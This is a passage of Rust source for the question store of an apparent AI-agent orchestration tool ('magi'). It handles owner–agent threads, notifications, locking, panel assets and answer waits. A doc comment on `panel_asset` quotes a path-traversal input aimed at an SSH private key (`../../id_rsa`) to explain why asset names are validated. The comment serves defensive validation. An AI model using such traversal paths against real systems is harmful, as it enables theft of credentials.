880        } else if crate::deputy::destructive(self, label)
881            && !latest.is_some_and(|m| crate::land::unhedged(m, quote))
882        {
883            bail!(
884                "`{label}` cannot be undone; it settles question {} only when the owner's \
885                 latest message clearly says so, unhedged and quoted verbatim (no maybe / if \
886                 / not / question); ask what they mean with `--thread` instead",
887                self.short()
888            );
889        }
890        self.thread.push(Turn {
891            who: Who::Agent,
892            body: format!("Settled as `{label}` on the owner's words: \"{quote}\""),
893            at: Timestamp::now(),
894            note: note
895                .map(str::trim)
896                .filter(|n| !n.is_empty())
897                .map(str::to_owned),
898        });
899        self.delivered_turns = self.thread.len();
900        self.answer(Answer::Choice(label.to_owned()))
901    }
902
903    /// The owner speaking back without answering: a request for context, a
904    /// clarifying question, anything short of a decision.
905    ///
906    /// Rejects the same two states [`Question::answer`] does, and for the same
907    /// reason - a question with a recorded [`Answer`] or an abandoned one has
908    /// no run left listening for a reply - and an empty turn, which would tell
909    /// the agent nothing it didn't already know. Never changes `status`: the
910    /// question stays [`QuestionStatus::Open`], because the owner did not
911    /// decide anything, they only spoke, and `count_open`/`open_for` must keep
912    /// counting this as the one question it always was.
913    pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
914        match self.status {
915            QuestionStatus::Answered => bail!(
916                "question {} was already answered; there is nothing left to \
917                 discuss",
918                self.short()
919            ),
920            QuestionStatus::Abandoned => bail!(
921                "question {} was abandoned and the run behind it is gone",
922                self.short()
923            ),
924            QuestionStatus::Open => {}
925        }
926        let body = body.into();
927        if body.trim().is_empty() {
928            bail!("a message to question {} cannot be empty", self.short());
929        }
930        self.thread.push(Turn {
931            who: Who::Operator,
932            body,
933            at: Timestamp::now(),
934            note: None,
935        });
936        Ok(())
937    }
938
939    /// The agent replying to the owner's last word, in place of an answer:
940    /// same question, same id, another round.
941    ///
942    /// `choices` replaces [`Question::choices`] wholesale rather than merging,
943    /// on the same reasoning [`Questions::put_panel`] replaces a panel
944    /// wholesale: the whole point of asking back is that what should be
945    /// offered next may have changed, and a caller that wanted the old set
946    /// unchanged can simply pass it again. An empty `Vec` means free text,
947    /// exactly as it does when the question is first asked.
948    pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
949        match self.status {
950            QuestionStatus::Answered => bail!(
951                "question {} was already answered; replying now would not \
952                 reach anyone",
953                self.short()
954            ),
955            QuestionStatus::Abandoned => bail!(
956                "question {} was abandoned and the run behind it is gone",
957                self.short()
958            ),
959            QuestionStatus::Open => {}
960        }
961        let body = body.into();
962        if body.trim().is_empty() {
963            bail!("a reply to question {} cannot be empty", self.short());
964        }
965        // An action whose label is no longer offered could never fire.
966        self.actions.retain(|label, _| choices.contains(label));
967        self.choices = choices;
968        let unread = self.unread_from_owner().is_some();
969        self.thread.push(Turn {
970            who: Who::Agent,
971            body,
972            at: Timestamp::now(),
973            note: None,
974        });
975        // The agent has read everything up to its own reply - but only if
976        // nothing the owner said in the meantime is still unread. A second say
977        // that landed after the agent's last look must stay undelivered.
978        if !unread {
979            self.delivered_turns = self.thread.len();
980        }
981        Ok(())
982    }
983
984    /// What the owner said that the agent has not read yet, oldest first,
985    /// joined. `None` unless the question is open and such a turn exists.
986    ///
987    /// Not [`Question::waiting_on_agent`]: an agent's reply can land *after* a
988    /// second owner turn it never saw, which leaves the last turn the agent's
989    /// and the ball apparently back with the owner while a say is still unread.
990    pub fn unread_from_owner(&self) -> Option<String> {
991        if !self.status.open() {
992            return None;
993        }
994        let said = self.undelivered_owner_turns();
995        (!said.is_empty()).then(|| said.join("\n\n"))
996    }
997
998    /// Owner turns the agent has not been handed yet, oldest first, whatever
999    /// the question's status. [`Question::unread_from_owner`] adds the "still
1000    /// open" guard the waiter and the deputy rely on; an answer being handed
1001    /// over needs the says that came before it even though the question is
1002    /// closed by then.
1003    pub fn undelivered_owner_turns(&self) -> Vec<&str> {
1004        let from = self.delivered_turns.min(self.thread.len());
1005        self.thread[from..]
1006            .iter()
1007            .filter(|t| t.who == Who::Operator)
1008            .map(|t| t.body.as_str())
1009            .collect()
1010    }
1011
1012    /// When the conversation last moved: the newest thread turn, or the asking
1013    /// itself, in seconds. `magi ask --thread` re-arms `answer_timeout` on
1014    /// every reply, so a deadline runs from here and not from `asked_at`.
1015    pub fn last_activity(&self) -> i64 {
1016        self.thread
1017            .iter()
1018            .map(|t| t.at.as_second())
1019            .max()
1020            .unwrap_or(0)
1021            .max(self.asked_at.as_second())
1022    }
1023
1024    /// Is the ball in the agent's court?
1025    ///
1026    /// True from the moment the owner speaks back until the agent's next
1027    /// [`Question::reply`], and never on a fresh or an already-settled
1028    /// question. [`QuestionStatus`] does not move for either side of this -
1029    /// see [`Question::say`] - so this is the one place that state is
1030    /// readable at all, which is why [`crate::web::QuestionView`] carries it
1031    /// separately rather than asking the phone to infer it from the thread.
1032    pub fn waiting_on_agent(&self) -> bool {
1033        self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
1034    }
1035
1036    /// Should a notification go out right now?
1037    ///
1038    /// Always, for the very first ask: [`Question::thread`] is still empty, so
1039    /// there is no earlier operator turn to have already caught anyone's
1040    /// attention. After that, only once [`REPLY_QUIET_WINDOW`] has passed
1041    /// since the owner's own last word - see that constant for why the window
1042    /// exists at all and why its length is not configurable.
1043    fn should_notify(&self, now: Timestamp) -> bool {
1044        let Some(last) = self
1045            .thread
1046            .iter()
1047            .rev()
1048            .find(|t| t.who == Who::Operator)
1049            .map(|t| t.at)
1050        else {
1051            return true;
1052        };
1053        now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
1054    }
1055}
1056
1057/// A question store on disk.
1058#[derive(Debug, Clone)]
1059pub struct Questions {
1060    root: PathBuf,
1061}
1062
1063impl Questions {
1064    /// The operator's questions, `<home>/questions`.
1065    pub fn open() -> Self {
1066        Self::at(crate::run::home().join("questions"))
1067    }
1068
1069    /// A store at an explicit root. Tests use this, which is why none of them
1070    /// need the operator's real home.
1071    pub fn at(root: PathBuf) -> Self {
1072        Self { root }
1073    }
1074
1075    /// Directory holding the question files.
1076    pub fn root(&self) -> &Path {
1077        &self.root
1078    }
1079
1080    /// Path for one question id.
1081    pub fn path_of(&self, id: &str) -> PathBuf {
1082        self.root.join(format!("{id}.json"))
1083    }
1084
1085    /// Directory holding one question's panel, `<root>/<id>.panel`.
1086    pub fn panel_dir(&self, id: &str) -> PathBuf {
1087        self.root.join(format!("{id}{PANEL_DIR}"))
1088    }
1089
1090    /// Store a panel: the html, plus `assets` copied in under their base
1091    /// names. Updates `q.panel` and `q.assets`; the caller then [`put`]s the
1092    /// question, or the record on disk will deny having a panel that exists.
1093    ///
1094    /// The assets are **copied, not referenced**. An agent authors its panel
1095    /// inside a candidate worktree and points at files there, and `magi fold`
1096    /// deletes those worktrees; a question is the permanent record of a
1097    /// decision the owner took, so a panel that referenced its own images
1098    /// would render as broken boxes exactly when someone went back to ask why
1099    /// the decision was made. Copying follows symlinks - [`std::fs::copy`]
1100    /// does, and so does the [`std::fs::metadata`] the size is measured with,
1101    /// so the bytes counted and the bytes written are the same target file's -
1102    /// which is the intent: storing a link would leave the panel pointing at
1103    /// the worktree again, one indirection further away.
1104    ///
1105    /// Everything that can be rejected is rejected before the first byte is
1106    /// written, and the panel is then assembled in a scratch directory and
1107    /// swapped in. So a refusal leaves the previous panel intact, and a
1108    /// success replaces it *wholesale* rather than merging: a re-asked
1109    /// question showing one attempt's diff next to another attempt's table
1110    /// would be a panel neither agent ever wrote.
1111    ///
1112    /// [`put`]: Questions::put
1113    pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
1114        if !valid_asset_name(&q.id) {
1115            bail!(
1116                "question id `{}` is not a name magi will build a panel path from",
1117                q.id
1118            );
1119        }
1120        if html.trim().is_empty() {
1121            bail!(
1122                "question {} was handed an empty panel; an empty frame reads to \
1123                 the owner as \"the agent had nothing to say\", which is a lie",
1124                q.short()
1125            );
1126        }
1127
1128        // Names, then sizes, then writing - in that order, so nothing below
1129        // can leave a partial panel on disk.
1130        let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
1131        for src in assets {
1132            let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
1133            if !valid_asset_name(name) {
1134                bail!(
1135                    "panel asset `{}` cannot be stored: a panel file name must \
1136                     match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
1137                    src.display()
1138                );
1139            }
1140            if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
1141                bail!(
1142                    "two panel assets are both named `{name}` - {} and {} - and \
1143                     the panel can only show one of them; rename one at the source",
1144                    first.display(),
1145                    src.display()
1146                );
1147            }
1148            named.push((name.to_owned(), src.as_path()));
1149        }
1150
1151        let mut total = html.len() as u64;
1152        for (_, src) in &named {
1153            let meta = std::fs::metadata(src)
1154                .with_context(|| format!("stat panel asset {}", src.display()))?;
1155            if !meta.is_file() {
1156                bail!(
1157                    "panel asset `{}` is not a file; a panel is html plus files \
1158                     copied beside it",
1159                    src.display()
1160                );
1161            }
1162            total = total.saturating_add(meta.len());
1163        }
1164        if total > PANEL_MAX_BYTES {
1165            bail!(
1166                "panel for question {} is {total} bytes, over magi's cap of \
1167                 {PANEL_MAX_BYTES} bytes; nothing was written",
1168                q.short()
1169            );
1170        }
1171
1172        let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
1173        let dir = self.panel_dir(&q.id);
1174        std::fs::create_dir_all(&self.root)
1175            .with_context(|| format!("create {}", self.root.display()))?;
1176        clear_dir(&tmp)?;
1177        std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
1178        if let Err(e) = fill_panel(&tmp, html, &named) {
1179            // A copy that dies halfway must not become the panel, and must not
1180            // leave scratch behind for the next call to inherit.
1181            let _ = std::fs::remove_dir_all(&tmp);
1182            return Err(e);
1183        }
1184        clear_dir(&dir)?;
1185        std::fs::rename(&tmp, &dir)
1186            .with_context(|| format!("move panel into {}", dir.display()))?;
1187
1188        q.panel = true;
1189        q.assets = named.into_iter().map(|(n, _)| n).collect();
1190        q.assets.sort_unstable();
1191        Ok(())
1192    }
1193
1194    /// The panel's html, or `None` when the question has no panel.
1195    ///
1196    /// `None` rather than an error for a missing panel because the caller is a
1197    /// web handler whose answer is 404 either way, and an unreadable panel is
1198    /// not a reason to fail the question it belongs to.
1199    pub fn panel_html(&self, id: &str) -> Option<String> {
1200        if !valid_asset_name(id) {
1201            return None;
1202        }
1203        std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
1204    }
1205
1206    /// One file from a panel. `Ok(None)` is "no such file"; `Err` is "that is
1207    /// not a name a panel file can have".
1208    ///
1209    /// Rejects a name failing [`valid_asset_name`] **before touching the
1210    /// filesystem**, which is the whole point of the second check: the name
1211    /// arrives from a URL, the directory is on disk where any process could
1212    /// have dropped a file, and `<root>/<id>.panel/../../id_rsa` is a path the
1213    /// operating system would resolve perfectly happily. The two callers'
1214    /// distinct outcomes - 400 for a name, 404 for a file - are why this is
1215    /// `Result<Option<_>>` rather than one flattened `Option`.
1216    pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
1217        if !valid_asset_name(name) {
1218            bail!(
1219                "`{name}` is not a panel file name; it must match \
1220                 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
1221            );
1222        }
1223        if !valid_asset_name(id) {
1224            return Ok(None);
1225        }
1226        let dir = self.panel_dir(id);
1227        if !dir.is_dir() {
1228            return Ok(None);
1229        }
1230        let path = dir.join(name);
1231        match std::fs::read(&path) {
1232            Ok(bytes) => Ok(Some(bytes)),
1233            Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
1234            Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
1235        }
1236    }
1237
1238    /// Delete a question's panel, and any scratch a killed [`put_panel`] left.
1239    ///
1240    /// Succeeds when there is nothing to delete, so a caller cleaning up does
1241    /// not have to know whether a panel was ever written. The question record
1242    /// is not touched: the caller clears `panel` and `assets` and `put`s it,
1243    /// in the same order as everywhere else here.
1244    ///
1245    /// [`put_panel`]: Questions::put_panel
1246    pub fn drop_panel(&self, id: &str) -> Result<()> {
1247        if !valid_asset_name(id) {
1248            bail!("question id `{id}` is not a name magi will build a panel path from");
1249        }
1250        clear_dir(&self.panel_dir(id))?;
1251        clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
1252    }
1253
1254    /// Path of the lease sidecar for one question id.
1255    pub fn lease_path(&self, id: &str) -> PathBuf {
1256        self.root.join(format!("{id}.lease"))
1257    }
1258
1259    /// The lease on a question, if a readable one exists.
1260    pub fn read_lease(&self, id: &str) -> Option<Lease> {
1261        let body = std::fs::read_to_string(self.lease_path(id)).ok()?;
1262        serde_json::from_str(&body).ok()
1263    }
1264
1265    /// Say, as `kind`, that something is alive and waiting on this question.
1266    ///
1267    /// Best-effort: a beat that cannot be written is a `tracing::debug`, never
1268    /// a reason to abandon a wait - the worst it costs is the waiter deciding
1269    /// the holder is gone a little early, and that is what the delivery guard
1270    /// (the seat still being busy) is there for.
1271    pub fn beat(&self, id: &str, kind: WaiterKind) {
1272        let lease = Lease {
1273            kind,
1274            pid: std::process::id(),
1275            beat_at: Timestamp::now(),
1276        };
1277        let path = self.lease_path(id);
1278        let tmp = path.with_extension("lease.tmp");
1279        let written = std::fs::create_dir_all(&self.root)
1280            .and_then(|()| std::fs::write(&tmp, serde_json::to_string(&lease).unwrap_or_default()))
1281            .and_then(|()| std::fs::rename(&tmp, &path));
1282        if let Err(e) = written {
1283            tracing::debug!("could not beat the lease on question {id}: {e}");
1284        }
1285    }
1286
1287    /// Remove the lease sidecar. Absent is fine.
1288    pub fn drop_lease(&self, id: &str) {
1289        let _ = std::fs::remove_file(self.lease_path(id));
1290    }
1291
1292    /// Read-modify-write one question under a short exclusive lock, so the
1293    /// waiter's bookkeeping, the asker's and the phone's `say` cannot overwrite
1294    /// each other with a copy that predates the others.
1295    ///
1296    /// [`Questions::put`] is an atomic *replace*, which protects a reader from
1297    /// a torn file and does nothing for two writers that both read the same
1298    /// version first. Everything that changes a question that can still be
1299    /// answered goes through here: `f` sees the current record, not one loaded
1300    /// earlier. A lock older than [`LOCK_STALE`] belongs to a writer that died
1301    /// mid-update and is broken.
1302    pub fn update<T>(
1303        &self,
1304        id: &str,
1305        f: impl FnOnce(&mut Question) -> Result<T>,
1306    ) -> Result<(Question, T)> {
1307        std::fs::create_dir_all(&self.root)
1308            .with_context(|| format!("create {}", self.root.display()))?;
1309        let lock = self.root.join(format!("{id}.lock"));
1310        let started = std::time::Instant::now();
1311        loop {
1312            match std::fs::OpenOptions::new()
1313                .write(true)
1314                .create_new(true)
1315                .open(&lock)
1316            {
1317                Ok(_) => break,
1318                Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => {
1319                    let stale = std::fs::metadata(&lock)
1320                        .and_then(|m| m.modified())
1321                        .ok()
1322                        .and_then(|t| t.elapsed().ok())
1323                        .is_some_and(|age| age > LOCK_STALE);
1324                    if stale {
1325                        let _ = std::fs::remove_file(&lock);
1326                    } else if started.elapsed() > LOCK_STALE {
1327                        bail!("could not lock question {id}");
1328                    } else {
1329                        std::thread::sleep(Duration::from_millis(15));
1330                    }
1331                }
1332                Err(e) => return Err(e).with_context(|| format!("lock {}", lock.display())),
1333            }
1334        }
1335        struct Unlock(PathBuf);
1336        impl Drop for Unlock {
1337            fn drop(&mut self) {
1338                let _ = std::fs::remove_file(&self.0);
1339            }
1340        }
1341        let _guard = Unlock(lock);
1342        let mut q = read_path(&self.path_of(id))?;
1343        let was_dismissed = q.resolution().as_deref() == Some(crate::merge_decision::DISMISS);
1344        let out = f(&mut q)?;
1345        if !was_dismissed && q.resolution().as_deref() == Some(crate::merge_decision::DISMISS) {
1346            let home = self.root.parent().context("question store has no home")?;
1347            crate::merge_decision::dismiss(home, &q)?;
1348        }
1349        self.put(&mut q)?;
1350        Ok((q, out))
1351    }
1352
1353    /// Write a question, atomically, so a process killed mid-write leaves the
1354    /// previous state readable rather than a truncated file that would strand
1355    /// the run waiting on it.
1356    pub fn put(&self, q: &mut Question) -> Result<()> {
1357        std::fs::create_dir_all(&self.root)
1358            .with_context(|| format!("create {}", self.root.display()))?;
1359        let body = serde_json::to_string_pretty(q).context("serialize question")?;
1360        let path = self.path_of(&q.id);
1361        let tmp = path.with_extension("json.tmp");
1362        let is_new = !path.exists();
1363        std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
1364        std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
1365        // A first write of an open question pages the operator, so a separate
1366        // notification about the same task or run is now a second page.
1367        if is_new
1368            && q.status.open()
1369            && q.node != crate::bump::NOTICE_NODE
1370            && let Some(home) = self.root.parent().filter(|p| !p.as_os_str().is_empty())
1371        {
1372            crate::notices::quiet_for(home, q);
1373        }
1374        Ok(())
1375    }
1376
1377    /// Load a question by id or unambiguous id prefix.
1378    pub fn get(&self, id: &str) -> Result<Question> {
1379        let resolved = self.resolve_id(id)?;
1380        let q = read_path(&self.path_of(&resolved))?;
1381        Ok(self.with_repair_choice(q))
1382    }
1383
1384    fn with_repair_choice(&self, mut q: Question) -> Question {
1385        // Older local release approvals already persisted their displayed head
1386        // in the watch record. Recover that binding, never today's forge head.
1387        if q.status.open()
1388            && q.merge_target.is_none()
1389            && let Some(home) = self.root.parent()
1390            && let Some(target) = crate::release_watch::approval_target(home, &q)
1391            && let Ok((current, ())) = self.update(&q.id, |current| {
1392                if current.status.open() && current.merge_target.is_none() {
1393                    current.merge_target = Some(target.clone());
1394                }
1395                Ok(())
1396            })
1397        {
1398            q = current;
1399        }
1400        if (q.status.open() || q.resolution().as_deref() == Some(crate::land::REPAIR))
1401            && q.node == crate::land::APPROVAL_NODE
1402            && let Some(home) = self.root.parent()
1403            && let Ok(state) = crate::run::RunState::load_under(&q.run, home)
1404        {
1405            let mut upgraded = q.clone();
1406            if crate::land::upgrade_repair_choice(&mut upgraded, &state) {
1407                match self.update(&q.id, |current| {
1408                    crate::land::upgrade_repair_choice(current, &state);
1409                    Ok(())
1410                }) {
1411                    Ok((current, ())) => return current,
1412                    Err(_) => return read_path(&self.path_of(&q.id)).unwrap_or(q),
1413                }
1414            }
1415        }
1416        q
1417    }
1418
1419    /// Every question on disk: open first, then newest first.
1420    ///
1421    /// Open first because that ordering is the product - the list exists to
1422    /// show the operator what has stopped, and an answered question is history
1423    /// underneath it. Unreadable files are skipped rather than fatal: one
1424    /// corrupt question must not take the web UI down, and must certainly not
1425    /// hide the open question the operator was looking for.
1426    pub fn list(&self) -> Vec<Question> {
1427        let mut all: Vec<Question> = std::fs::read_dir(&self.root)
1428            .into_iter()
1429            .flatten()
1430            .flatten()
1431            .map(|e| e.path())
1432            .filter(|p| p.extension().is_some_and(|x| x == "json"))
1433            .filter_map(|p| read_path(&p).ok())
1434            .map(|q| self.with_repair_choice(q))
1435            .collect();
1436        all.sort_unstable_by(|a, b| {
1437            let rank = |q: &Question| u8::from(!q.status.open());
1438            rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
1439        });
1440        all
1441    }
1442
1443    /// Open questions belonging to one run, newest first.
1444    ///
1445    /// Used to decide whether a parked run can be resumed: while this is
1446    /// non-empty, nothing about the run has changed and no agent should be
1447    /// spawned for it.
1448    pub fn open_for(&self, run: &str) -> Vec<Question> {
1449        self.list()
1450            .into_iter()
1451            .filter(|q| q.status.open() && q.run == run)
1452            .collect()
1453    }
1454
1455    /// Abandon every open question belonging to a run, and report how many.
1456    ///
1457    /// Called when a run's record is deleted. The agent that asked died with
1458    /// the run, so there is nobody left to hand an answer to, and a question
1459    /// left open would keep asking the operator for a decision that can no
1460    /// longer be delivered - the phone showed exactly that: "auth.rs というファ
1461    /// イルが見つかりません" with two buttons, for a run whose directory had
1462    /// been gone for two hours.
1463    ///
1464    /// Abandoned rather than deleted, because [`Question::abandon`] already
1465    /// means "this can no longer be answered" and the record of having asked
1466    /// is worth keeping. Answered questions are left exactly as they are.
1467    pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
1468        let mut abandoned = 0;
1469        for mut q in self.open_for(run) {
1470            q.abandon(why);
1471            self.put(&mut q)?;
1472            abandoned += 1;
1473        }
1474        Ok(abandoned)
1475    }
1476
1477    /// Abandon a run's open questions once `status` says the run is not
1478    /// coming back, worded with what it actually became.
1479    ///
1480    /// The run-deleted case above and this one are the same fact - nobody is
1481    /// left to read an answer - reached by two different doors. This is the
1482    /// one for a run that finished on its own: merged, reached `Ready` with
1483    /// nothing left to do, failed outright with no established point to
1484    /// resume from, or every candidate agreed, with evidence, that nothing
1485    /// belonged in the worktree. Those are exactly the statuses
1486    /// [`RunStatus::resumable`]
1487    /// excludes, and that is the line this draws too - deliberately not
1488    /// [`RunStatus::done`], which also counts `Blocked` and `Stalled` as
1489    /// over. Both of those can still be picked back up with the candidates,
1490    /// the review round and the seat sessions already on disk, so a question
1491    /// asked mid-round may yet get a real answer from a real resume, and
1492    /// folding it here would be exactly the mistake this function exists to
1493    /// avoid on the other side - answering back into a run that no longer
1494    /// exists to read it.
1495    ///
1496    /// A no-op, not an error, when `status` is still resumable or when there
1497    /// was nothing open to begin with - callers reach this from more than one
1498    /// place a run can settle, and a second call finding nothing left to
1499    /// abandon is the expected case, not a bug.
1500    pub fn settle_run(&self, run: &str, status: RunStatus) -> Result<usize> {
1501        if status.resumable() {
1502            return Ok(0);
1503        }
1504        let why = format!(
1505            "run {run} {}, so nothing is waiting for this answer",
1506            status.as_str()
1507        );
1508        // A post-merge notice is the exception: it is filed *because* the run
1509        // merged, and no agent waits on it - it is a to-do for the owner, not
1510        // a question a dead seat asked. Abandoning it here would erase the
1511        // only alert the moment the run settles.
1512        let mut abandoned = 0;
1513        for mut q in self.open_for(run) {
1514            if q.node == crate::bump::NOTICE_NODE {
1515                continue;
1516            }
1517            q.abandon(&why);
1518            self.put(&mut q)?;
1519            abandoned += 1;
1520        }
1521        Ok(abandoned)
1522    }
1523
1524    /// Expand an id prefix to exactly one question id. The short id the phone
1525    /// and the reports show is a suffix, so that is accepted too.
1526    pub fn resolve_id(&self, prefix: &str) -> Result<String> {
1527        use crate::queue::{Reference, record_ids, resolve_reference};
1528        let ids = record_ids(&self.root, "json")?;
1529        match resolve_reference(prefix, ids.iter().map(String::as_str)) {
1530            Reference::Found(id) => Ok(id),
1531            Reference::Missing => bail!("no question matches `{prefix}`"),
1532            Reference::Ambiguous => bail!("`{prefix}` matches multiple questions"),
1533        }
1534    }
1535
1536    /// Newest modification time in the store, in milliseconds, for change
1537    /// detection. The web UI compares this instead of re-reading every
1538    /// question, so an idle phone on a slow link costs one `stat` per file.
1539    pub fn revision(&self) -> u64 {
1540        std::fs::read_dir(&self.root)
1541            .into_iter()
1542            .flatten()
1543            .flatten()
1544            .filter_map(|e| e.metadata().ok())
1545            .filter_map(|m| m.modified().ok())
1546            .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
1547            .map(|d| d.as_millis() as u64)
1548            .max()
1549            .unwrap_or(0)
1550    }
1551
1552    /// How many questions are open, whichever side of the conversation is
1553    /// holding the ball right now. Ten turns of back and forth between the
1554    /// owner and the agent are still one open question - see
1555    /// [`Question::say`] - so this does not drop while a reply is in
1556    /// flight. [`Self::count_needs_owner`] is the number that does.
1557    pub fn count_open(&self) -> usize {
1558        self.list().iter().filter(|q| q.status.open()).count()
1559    }
1560
1561    /// How many open questions actually need the owner right now: open, and
1562    /// not [`Question::waiting_on_agent`], or the follow-up is exhausted.
1563    ///
1564    /// This is the number a notification channel owes - the ask bar, the nav
1565    /// badge, the document title - because those exist to say "something
1566    /// needs you". An unread say stops needing the agent once its follow-up
1567    /// has spent its starts. `count_open` stays as it is for [`Self::open_for`]'s callers,
1568    /// where a round trip must not look like the run resumed.
1569    pub fn count_needs_owner(&self) -> usize {
1570        self.list()
1571            .iter()
1572            .filter(|q| q.status.open() && (!q.waiting_on_agent() || self.deputy_exhausted(q)))
1573            .count()
1574    }
1575
1576    /// The follow-up spent its starts and its final turn is no longer alive.
1577    /// Computed from the lease rather than saved with the question, so the
1578    /// owner can decide even when an unread message remains in the thread.
1579    pub fn deputy_exhausted(&self, q: &Question) -> bool {
1580        q.status.open()
1581            && q.deputy
1582                .as_ref()
1583                .is_some_and(|d| d.starts >= crate::deputy::MAX_STARTS)
1584            && !self
1585                .read_lease(&q.id)
1586                .is_some_and(|l| l.fresh(Timestamp::now()))
1587    }
1588}
1589
1590/// How a wait over [`Question`] ended.
1591#[derive(Debug, Clone, PartialEq, Eq)]
1592pub enum Wait {
1593    /// The owner decided. Carries [`Question::resolution`].
1594    Answered(String),
1595    /// The owner spoke back without deciding - see [`Question::say`]. The
1596    /// question is still [`QuestionStatus::Open`] and carries no [`Answer`];
1597    /// the caller's move is to hand this text to the agent and let it call
1598    /// `magi ask --thread` to keep talking, not to treat it as a decision.
1599    Replied(String),
1600    /// This call's [`WAIT_SLICE`] ran out with the question still
1601    /// [`QuestionStatus::Open`] and nothing having happened - not the owner
1602    /// going quiet, the clock on *this process* running out. The question is
1603    /// untouched; the caller's move is `magi ask --wait <id>` in a fresh
1604    /// process, so the wait resumes before the shell tool that would have
1605    /// killed this one gets the chance.
1606    Pending,
1607    /// Nobody said anything before the deadline, or the question was closed
1608    /// out from under the wait with no decision recorded - a run deleted out
1609    /// from under it, most often. Either way [`QuestionStatus::Abandoned`] is
1610    /// now on disk.
1611    Abandoned,
1612}
1613
1614/// File a question and wait for the owner, polling the store.
1615///
1616/// The question is updated in place from disk whenever the wait ends, so the
1617/// caller can act on it without re-reading it. `timeout` is the question's
1618/// whole `answer_timeout` budget, but this call spends at most [`WAIT_SLICE`]
1619/// of it - see [`Wait::Pending`] for what happens to the rest.
1620pub async fn ask_and_wait(
1621    q: &mut Question,
1622    store: &Questions,
1623    notify: &config::Notify,
1624    timeout: Duration,
1625) -> Result<Wait> {
1626    wait_for_owner(q, store, notify, timeout, POLL).await
1627}
1628
1629/// Resume a wait already filed, without adding a turn or notifying again.
1630///
1631/// This is `magi ask --wait <id>`'s engine: the process that owned the
1632/// previous slice is dead (the tool that ran it killed it, or it simply
1633/// exited after reporting [`Wait::Pending`]), but the question on disk never
1634/// stopped being open, and the owner was already notified about it once. A
1635/// second notification for the same unanswered question would page the
1636/// owner every [`WAIT_SLICE`] for a question they have already seen - so,
1637/// unlike [`ask_and_wait`], this skips straight to polling.
1638///
1639/// `timeout` is **not** re-armed to a fresh `answer_timeout` here - the
1640/// caller computes it as what remains until [`Question::asked_at`] plus the
1641/// configured `answer_timeout`, so stacking `--wait` calls can only ever use
1642/// up the deadline the first ask set, never push it out further.
1643pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
1644    wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
1645}
1646
1647/// [`ask_and_wait`] with the poll interval injected.
1648///
1649/// Separate only so the tests can drive a whole wait in milliseconds instead of
1650/// sleeping through [`POLL`]; production has exactly one interval, and it is not
1651/// a knob the operator gets to tune.
1652async fn wait_for_owner(
1653    q: &mut Question,
1654    store: &Questions,
1655    cfg: &config::Notify,
1656    timeout: Duration,
1657    poll: Duration,
1658) -> Result<Wait> {
1659    // A question that is already on disk (a `--thread` reply just wrote it under
1660    // the lock) is left alone: this copy may predate an answer or say that
1661    // landed since, and writing it back would erase that.
1662    if !store.path_of(&q.id).is_file() {
1663        store.put(q).context("file the question")?;
1664    }
1665    if q.should_notify(Timestamp::now()) {
1666        if let Err(e) = notify(cfg, q).await {
1667            // A broken webhook is not a reason to throw away an implementation.
1668            // The question is already on disk and the web UI already shows it,
1669            // so the operator still has a way in; only the tap on the shoulder
1670            // is lost.
1671            tracing::warn!(
1672                "could not notify about question {}: {e:#} - the web UI is the \
1673                 only surface for it now",
1674                q.short()
1675            );
1676        }
1677    }
1678    tracing::info!(
1679        "question {} from {} is waiting for you: {}",
1680        q.short(),
1681        q.seat,
1682        q.summary
1683    );
1684    wait_loop(q, store, timeout, WAIT_SLICE, poll).await
1685}
1686
1687/// Take the wait as this process: beat the lease and note it on the record.
1688fn hold(store: &Questions, id: &str) {
1689    store.beat(id, WaiterKind::Asker);
1690    let took = store.update(id, |q| {
1691        if q.status.open() {
1692            q.waiter = Some(Waiter {
1693                kind: WaiterKind::Asker,
1694                since: Timestamp::now(),
1695            });
1696        }
1697        Ok(())
1698    });
1699    if let Err(e) = took {
1700        tracing::debug!("could not note the wait on question {id}: {e:#}");
1701    }
1702}
1703
1704/// Record that the agent has read everything so far, so the daemon waiter does
1705/// not resume a session to tell it what was already printed.
1706///
1707/// Callers must invoke this only **after** the word reached the agent's stdout:
1708/// marking first would let a tool timeout kill the process between the mark
1709/// and the print, and the waiter would then consider a word delivered that no
1710/// agent ever saw.
1711pub fn hand_over(store: &Questions, q: &mut Question) {
1712    let done = store.update(&q.id, |r| {
1713        r.delivered_turns = r.delivered_turns.max(q.thread.len());
1714        if r.status == QuestionStatus::Answered {
1715            r.answer_delivered = true;
1716        }
1717        r.waiter = None;
1718        Ok(())
1719    });
1720    match done {
1721        Ok((fresh, ())) => *q = fresh,
1722        Err(e) => tracing::debug!("could not record the hand-over of {}: {e:#}", q.short()),
1723    }
1724}
1725
1726/// What the agent is shown for an answer: the owner's says it has not read
1727/// yet, in order, then the answer. With no such say it is `answer` itself,
1728/// byte for byte.
1729pub fn answer_for_agent(q: &Question, answer: &str) -> String {
1730    let says = q.undelivered_owner_turns();
1731    if says.is_empty() {
1732        return answer.to_owned();
1733    }
1734    format!(
1735        "the owner also said, before answering:\n\n{}\n\nthe owner answered:\n\n{answer}",
